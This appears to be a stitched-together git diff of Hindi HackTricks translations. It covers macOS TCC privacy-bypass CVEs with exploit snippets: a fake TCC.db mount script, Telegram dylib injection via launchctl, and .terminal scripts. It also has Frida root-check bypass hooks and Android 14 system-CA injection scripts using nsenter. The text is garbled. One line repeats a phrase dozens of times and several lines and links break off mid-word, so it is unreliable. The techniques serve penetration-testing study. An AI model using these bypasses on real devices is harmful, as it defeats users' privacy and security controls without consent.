ध्यान दें कि Apple उपयोगकर्ता के प्रोफ़ाइल में संग्रहीत सेटिंग का उपयोग करता है **`NFSHomeDirectory`** विशेषता के रूप में **`$HOME`** के मान के लिए, इसलिए यदि आप किसी ऐप्लिकेशन को संशोधित करने की अनुमति देने के लिए इस मान को संशोधित करने की अनुमति देते है (**`kTCCServiceSystemPolicySysAdminFiles`**), तो आप एक TCC बाईपास के साथ इस विकल्प को **युद्धाभ्यास** कर सकते हैं।
ध्यान दें कि Apple उपयोगकर्ता के प्रोफ़ाइल में संग्रहीत सेटिंग का उपयोग करता है **`NFSHomeDirectory`** विशेषता के रूप में **`$HOME`** के मान के लिए, इसलिए यदि आप किसी ऐप्लिकेशन को संशोधित करने की अनुमति देने के लिए अनुमति है (**`kTCCServiceSystemPolicySysAdminFiles`**), तो आप एक TCC बाईपास के साथ इस विकल्प को **युद्धाभ्यास** कर सकते हैं।
{% endhint %}
### [CVE-20209934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
@ -194,7 +194,7 @@ TCC उपयोगकर्ता को नियंत्रित करन
**पहला POC** [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) और [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) का उपयोग करता है उपयोगकर्ता के **HOME** फ़ोल्डर को संशोधित करने के लिए।
1. लक्ष्य ऐप के लिए _csreq_ ब्लॉब प्राप्त करें।
2. आवश्यक एक्सेस और _csreq_ ब्लॉब के साथ एक नकली _TCC.db_ फ़ाइल प्लांट करें।
2. आवश्यक उपयोग और _csreq_ ब्लॉब के साथ एक नकली _TCC.db_ फ़ाइल प्लांट करें।
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) का उपयोग करके उपयोगकर्ता के डायरेक्टरी सेवाओं एंट्री को निर्यात करें।
4. उपयोगकर्ता के डायरेक्टरी सेवाओं एंट्री को बदलने के लिए डायरेक्टरी सेवाओं एंट्री को संशोधित करें।
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/) का उपयोग करके संशोधित डायरेक्टरी सेवाओं एंट्री को आयात करें।
@ -213,14 +213,16 @@ TCC उपयोगकर्ता को नियंत्रित करन
[macos-proces-abuse](../../../macos-proces-abuse/)
{% endcontent-ref %}
इसके अलावा, TCC को बाईपास करने के लिए सबसे सामान्य प्रक्रिया इंजेक्शन **प्लगइन्स (लोड पुस्तकालय)** के माध्यम से किया जाता है।\
प्लगइन्स अतिरिक्त कोड आमतौर पर पुस्तकालयों या प्लिस्ट के रूप में होते हैं, जो **मुख्य एप्लिकेशन द्वारा लोड किए जाएंगे** और इसके संदर्भ में निष्पादित होंगे। इसलिए, यदि मुख्य एप्लिकेशन को TCC प्रतिबंधित फ़ाइलों (अनुमतियों या अधिकारों के माध्यम से) का उपयोग करने की अनुमति होती है, तो **कस्टम कोड भी उसे होगा**
इसके अलावा, TCC को बाईपास करने के लिए सबसे सामान्य प्रक्रिया इंजेक्शन प्लगइन (लोड पुस्तकालय) के माध्यम से किया जाता है।\
प्लगइन्स अतिरिक्त कोड आमतौर पर पुस्तकालय या प्लिस्ट के रूप में होते हैं, जो मुख्य एप्लिकेशन द्वारा **लोड किए जाएंगे** और इसके संदर्भ में निष्पादित होंगे। इसलिए, यदि मुख्य एप्लिकेशन को TCC प्रतिबंधित फ़ाइलों (अनुमतियों या अधिकारों के माध्यम से) का उपयोग करने की अनुमति होती है, तो **कस्टम कोड भी उसे होगा**
### CVE-2020-27937 - Directory Utility
ऐप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में एंटाइटलमेंट **`kTCCServiceSystemPolicySysAdminFiles`**, **`.daplug`** एक्सटेंशन वाले प्लगइन्स लोड करता था और **हार्डन** रनटाइम नहीं था।
ऐप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में अधिकार **`kTCCServiceSystemPolicySysAdminFiles`**, **`.daplug`** एक्सटेंशन वाले प्लगइन्स लोड करता था और **हार्डन** रनटाइम नहीं था।
इस CVE को युद्धाभ्यास करने के लिए, **`NFSHomeDirectory`** को **बदला** जाता है (पिछले एंटाइटलमेंट का दुरुपयोग करके) ताकि TCC को बाईपास करने के लिए उपयोगकर्ता के TCC डेटाबेस को **अधिकार**
इस CVE को युद्धाभ्यास करने के लिए, **`NFSHomeDirectory`** को **बदला** जाता है (पिछले अधिकार का दुरुपयोग करके) ताकि TCC को बाईपास करने के लिए उपयोगकर्ता के TCC डेटाबेस को **अधिकार में ले सकें**
अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://wojciechreg
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -285,7 +287,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
</dict>
</plist>
```
इस [**मूल रिपोर्ट की जांच करें**](https://wojciechregula.blog/post/how-to-rob-a-firefox/) के बारे में अधिक जानकारी के लिए।
इस [**मूल रिपोर्ट की जांच करने के लिए**](https://wojciechregula.blog/post/how-to-rob-a-firefox/) के बारे में अधिक जानकारी के लिए।
### CVE-2020-10006
@ -293,9 +295,9 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
### CVE-2023-26818 - Telegram
Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** इंटाइटलमेंट्स थे, इसलिए इसका दुरुपयोग करके इसकी अनुमतियों तक पहुंच मिल सकती थी, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**व्रिटअप में पेलोड ढूंढ सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)।
Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** इंटाइटलमेंट्स थे, इसलिए इसे दुरुपयोग करके उसकी अनुमतियों तक पहुंच प्राप्त की जा सकती थी, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**व्रिटअप में पेलोड ढूंढ सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)।
ध्यान दें कि एक **कस्टम प्लिस्ट** को इंजेक्शन करने के लिए एक एनवायरनमेंट वेरिएबल का उपयोग करने के लिए यहां एक लाइब्रेरी लोड करने के लिए बनाई गई थी और **`launchctl`** का उपयोग किया गया था:
ध्यान दें कि एक **कस्टम प्लिस्ट** को इंजेक्शन करने के लिए एक एनवायरनमेंट वेरिएबल का उपयोग करने के लिए इस्तेमाल किया गया था और इसे लॉन्च करने के लिए **`launchctl`** का उपयोग किया गया था:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -331,9 +333,9 @@ launchctl load com.telegram.launcher.plist
### टर्मिनल स्क्रिप्ट्स
टेक्निकल लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **पूर्ण डिस्क एक्सेस (FDA)** देना आम बात है। और इसका उपयोग **`.terminal`** स्क्रिप्ट्स को आवाहित करने के लिए किया जा सकता है।
टेक्निकल लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **पूर्ण डिस्क एक्सेस (FDA)** देना आम बात है। और इसका उपयोग करके **`.terminal`** स्क्रिप्ट्स को आवाहित करना संभव है।
**`.terminal`** स्क्रिप्ट्स plist फ़ाइलें होती हैं, जैसे इसमें दिए गए कमांड को **`CommandString`** कुंजी में निष्पादित करने के लिए:
**`.terminal`** स्क्रिप्ट्स plist फ़ाइलें होती हैं, जैसे इसमें दिए गए कमांड को निष्पादित करने के लिए **`CommandString`** कुंजी होती है:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
@ -391,7 +393,7 @@ ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
एक अधिक विस्तृत व्याख्या [**मूल रिपोर्ट में मिल सकती है**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
एक और विस्तृत व्याख्या [**मूल रिपोर्ट में मिल सकती है**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
### CVE-2021-1784 और CVE-2021-30808 - TCC फ़ाइल पर माउंट करें
@ -418,16 +420,16 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
आप मूल लेख में **पूर्ण उत्पादन** की जांच करें। [**मूल लेख**](https://theevilbit.github.io/posts/cve-2021-30808/) में
आप मूल लेख में **पूर्ण उत्पादन** की जांच करें [**यहां**](https://theevilbit.github.io/posts/cve-2021-30808/)।
### asr
टूल **`/usr/sbin/asr`** को TCC सुरक्षा को छलकाने के लिए पूरे डिस्क की प्रतिलिपि बनाने और उसे दूसरी जगह माउंट करने की अनुमति दी गई
टूल **`/usr/sbin/asr`** को TCC सुरक्षा को छोड़कर पूरी डिस्क की कॉपी और उसे दूसरी जगह माउंट करने की अनुमति देता था
### स्थान सेवाएं
**`/var/db/locationd/clients.plist`** में तीसरा TCC डेटाबेस है जो स्थान सेवाओं तक पहुंचने की अनुमति देने वाले ग्राहकों को दर्शाता है।\
**`/var/db/locationd/` डिएमजी माउंटिंग से सुरक्षित नहीं था**, इसलिए हमारे खुद के प्लिस्ट को माउंट करना संभव था।
**`/var/db/locationd/clients.plist`** में तीसरा TCC डेटाबेस होता है जो स्थान सेवाओं तक पहुंच की अनुमति देने वाले ग्राहकों को दर्शाता है।\
**`/var/db/locationd/` डिएमजी माउंटिंग से सुरक्षित नहीं था** इसलिए हमारी खुद की प्लिस्ट माउंट करना संभव था।
## स्टार्टअप ऐप्स द्वारा
@ -441,15 +443,15 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
## संश्लेषित क्लिक
## सिंथेटिक क्लिक्स
यह अब काम नहीं करता है, लेकिन यह [**पहले करता था**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
<figure><img src="../../../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
[**CoreGraphics इवेंट्स**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf) का उपयोग करके एक और तरीका:
<figure><img src="../../../../../.gitbook/assets/image (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
## संदर्भ

File diff suppressed because one or more lines are too long

View file

@ -70,7 +70,7 @@ send("Hooks installed.");
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) पर आधारित
**रूट जांच** और डिक्रिप्ट कार्य को हुक करें ताकि जब आप सत्यापित करने के लिए दबाएं, तो यह फ्रिडा कंसोल में ध्वज प्रिंट करें:
**रूट जांच** और डिक्रिप्ट कार्य को हुक करें ताकि जब आप सत्यापित दबाते हैं, तो फ्रिडा कंसोल में ध्वज प्रिंट हो।
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...");
@ -128,7 +128,7 @@ send("Hooks installed.");
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -140,6 +140,6 @@ send("Hooks installed.");
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) को PR जमा करके।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में सबमिट करके**.
</details>

View file

@ -4,11 +4,11 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**हैकट्रिक्स रेपो**](https://github.com/carlospolop/hacktricks) **और** [**हैकट्रिक्स-क्लाउड रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके साझा करें।**
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**
</details>
@ -18,7 +18,7 @@
![](<../../.gitbook/assets/image (367).png>)
**Der प्रारूप में प्रमाणपत्र निर्यात करें** और इसे एक ऐसे रूप में **परिवर्तित करें** जिसे **Android** समझ सके। ध्यान दें कि **एवीडी मशीन में बर्प प्रमाणपत्र को कॉन्फ़िगर करने के लिए** आपको इस मशीन को **`-writable-system`** विकल्प के साथ **चलाना** होगा।\
**Der प्रारूप में प्रमाणपत्र निर्यात करें** और इसे एक ऐसे रूप में **परिवर्तित करें** जिसे **Android** समझ सके। ध्यान दें कि **एवीडी मशीन में एंड्रॉइड मशीन पर बर्प प्रमाणपत्र को कॉन्फ़िगर करने के लिए** आपको इस मशीन को **`-writable-system`** विकल्प के साथ **चलाना** होगा।\
उदाहरण के लिए, आप इसे इस तरह से चला सकते हैं:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
@ -44,21 +44,21 @@ adb reboot #Now, reboot the machine
## मैजिस्क का उपयोग करें
यदि आपने अपनी डिवाइस को मैजिस्क के साथ **रूट किया है** (शायद एक एम्युलेटर), और आप पिछले **स्टेप्स** का पालन नहीं कर सकते हैं ताकि बर्प सर्टिफिकेट को इंस्टॉल कर सकें क्योंकि **फ़ाइल सिस्टम रीड-ओनली** है और आप इसे राइटेबल रीमाउंट नहीं कर सकते, तो एक और तरीका है।
यदि आपने अपनी डिवाइस को मैजिस्क के साथ रूट किया है (शायद एक एम्युलेटर), और आप पिछले **स्टेप्स** का पालन नहीं कर सकते हैं ताकि बर्प सर्टिफिकेट को इंस्टॉल कर सकें क्योंकि फ़ाइल सिस्टम रीड-ओनली है और आप इसे राइटेबल रीमाउंट नहीं कर सकते, तो एक और तरीका है।
[**इस वीडियो**](https://www.youtube.com/watch?v=qQicUW0svB8) में समझाया गया है कि आपको क्या करना होगा:
1. **CA सर्टिफिकेट इंस्टॉल करें**: बस डिवाइस में डेर बर्प सर्टिफिकेट को `.crt` एक्सटेंशन में बदलकर ड्रैग एंड ड्रॉप करें ताकि यह डाउनलोड फ़ोल्डर में संग्रहीत हो और `इंस्टॉल सर्टिफिकेट` -> `CA सर्टिफिकेट` पर जाएं
1. **CA सर्टिफिकेट इंस्टॉल करें**: बस डिवाइस में डीईआर बर्प सर्टिफिकेट को **ड्रैग एंड ड्रॉप** करें और उसका एक्सटेंशन `.crt` में बदलें ताकि यह डाउनलोड फ़ोल्डर में संग्रहीत हो और `इंस्टॉल सर्टिफिकेट` -> `सीए सर्टिफिकेट` पर जाएं
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
* यह सत्यापित करें कि सर्टिफिकेट सही ढंग से संग्रहीत हुआ है और `विश्वसनीय प्रमाणपत्र` -> `उपयोगकर्ता` पर जाएं
* यह सत्यापित करें कि सर्टिफिकेट सही ढंग से संग्रहीत हुआ है, `विश्वसनीय प्रमाणपत्र` -> `उपयोगकर्ता` पर जाएं
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
2. **इसे सिस्टम विश्वसनीय बनाएं**: मैजिस्क मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (एक .zip फ़ाइल) डाउनलोड करें, इसे फ़ोन में ड्रैग एंड ड्रॉप करें, फ़ोन में **मैजिक्स ऐप** में जाएं, **`मॉड्यूल`** खंड में जाएं, **`स्टोरेज से इंस्टॉल करें`** पर क्लिक करें, `.zip` मॉड्यूल का चयन करें और एक बार इंस्टॉल होने के बाद फ़ोन को **रिबूट** करें:
2. **इसे सिस्टम विश्वसनीय बनाएं**: मैजिस्क मॉड्यूल [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (एक .zip फ़ाइल) डाउनलोड करें, इसे फ़ोन में **ड्रैग एंड ड्रॉप करें**, फ़ोन में **मैजिक्स ऐप** में जाएं, **`मॉड्यूल`** खंड में जाएं, **`स्टोरेज से इंस्टॉल करें`** पर क्लिक करें, `.zip` मॉड्यूल का चयन करें और एक बार इंस्टॉल होने के बाद फ़ोन को **रिबूट** करें:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
* रिबूट करने के बाद, `विश्वसनीय प्रमाणपत्र` -> `सिस्टम` पर जाएं और देखें कि पोस्ट्स्विगर सर्टिफिकेट वहां है
@ -68,7 +68,18 @@ adb reboot #Now, reboot the machine
परिवर्तन:
* अब तक, सिस्टम विश्वसनीय CA सर्टिफिकेट **`/system/etc/security/cacerts/`** में रहते थे। एक मानक AOSP एम्युलेटर पर, उन्हें **रूट एक्सेस के साथ सीधे संशोधित** किया जा सकता था, तत्परता के साथ, तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के साथ तत्परता के स
* अब तक, सिस्टम विश्वसनीय सीए सर्टिफिकेट **`/system/etc/security/cacerts/`** में रहते थे। एक मानक AOSP एम्युलेटर पर, उन्हें रूट उपयोगकर्ता उपयोग करके बदला जा सकता था, और तत्काल **सभी जगह पर प्रभावी हो जाता था**
* एंड्रॉइड 14 में, सिस्टम विश्वसनीय सीए सर्टिफिकेट आमतौर पर **`/apex/com.android.conscrypt/cacerts`** में रहेंगे, और सभी **`/apex` अविचलित होगा**।
* उस APEX cacerts पथ को राइटेबल रीमाउंट नहीं किया जा सकता है - रीमाउंट बस विफल हो जाते हैं। वास्तव में, यदि आप रूट शैल में पूरे पथ को अनमाउंट कर देते हैं, तो ऐप्स आपके सर्टिफिकेट को ठीक से पढ़ सकते हैं।
* शीर्ष पर एक tmpfs निर्देशिका को माउंट करने का वैकल्पिक तकनीक भी काम नहीं करती है - यहां तक कि यह यह बात है कि `ls /apex/com.android.conscrypt/cacerts` कुछ नहीं देखा सकता है (या आप चाहें तो कुछ भी), ऐप्स फिर भी वही मूल डेटा देखेंगे।
* `/apex` माउंट [व्यक्तिगत रूप से माउंट किया जाता है](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a), इसलिए `/apex` पथ के अंदर माउंट के बदलाव को कभी भी प्रक्रियाओं के बीच साझा नहीं किया जाता है।
यह `init` प्रक्रिया द्वारा किया जाता है जो ओएस को शुरू करती है, जो फिर [Zygote प्रक्रिया](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) को लॉन्च करती है (जिसमें एक नया माउंट नेमस्पेस अभिलिखित होता है, इसलिए अपने **अपने निजी `/apex` माउंट** के साथ), जो फिर अधिकांश ऐप प्रक्रियाएं शुरू करती हैं जब डिवाइस पर एक ऐप लॉन्च किया जाता है (जो प्रत्येक अपने **वही निजी `/apex` माउंट** की प्रतिलिपि करती है)।
### माउंटपॉइंट को रिकर्सिवली रीमाउंट करना
* आप `/apex` को मैन्युअली रीमाउंट कर सकते हैं, निजी प्रसारण को हटा दें और इसे राइटेबल बनाएं (इरोनिकली, ऐसा लगता है कि पूरी तरह से निजी प्रसारण को हटाना हर जगह प्रसारित करता है)
* आप `/apex/com.android.conscrypt` की पूरी सामग्री क
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -128,12 +139,12 @@ echo "System certificate injected"
```
### NSEnter के माध्यम से बाइंड-माउंटिंग
* पहले, हमें कहीं एक लिखने योग्य निर्देशिका सेट अप करनी होगी। मौजूदा तरीके के साथ सुविधाजनक संगतता के लिए, मैं अभी भी मौजूद गैर-APEX सिस्टम सर्ट निर्देशिका पर एक `tmpfs` माउंट के साथ यह कर रहा हूं:
* पहले, हमें कहीं एक लिखने योग्य निर्देशिका सेट अप करनी होगी। मौजूदा तरीके के साथ सुविधाजनकता के लिए, मैं अभी भी मौजूद गैर-APEX सिस्टम सर्ट निर्देशिका पर `tmpfs` माउंट के साथ यह कर रहा हूं:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
* फिर आप इस निर्देशिका में अपने इच्छित सीए सर्टिफिकेट रखें (उदाहरण के लिए, आप शायद मौजूदा `/apex/com.android.conscrypt/cacerts/` सीए सर्टिफिकेट निर्देशिका से सभी डिफ़ॉल्ट कॉपी करना चाहेंगे) और अनुमतियाँ और SELinux लेबल सही ढंग से सेट करें।
* फिर आप इस निर्देशिका में अपने इच्छित CA प्रमाणपत्र रखें (उदाहरण के लिए, आप शायद मौजूदा `/apex/com.android.conscrypt/cacerts/` CA प्रमाणपत्र निर्देशिका से सभी डिफ़ॉल्ट कॉपी करना चाहेंगे) और अनुमतियाँ और SELinux लेबल सही ढंग से सेट करें।
* फिर, `nsenter` का उपयोग करके Zygote के माउंट नेमस्पेस में प्रवेश करें, और इस निर्देशिका को APEX निर्देशिका पर बाइंड माउंट करें:
```bash
@ -156,9 +167,9 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- \
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks** में विज्ञापित करना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्ूसिव [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
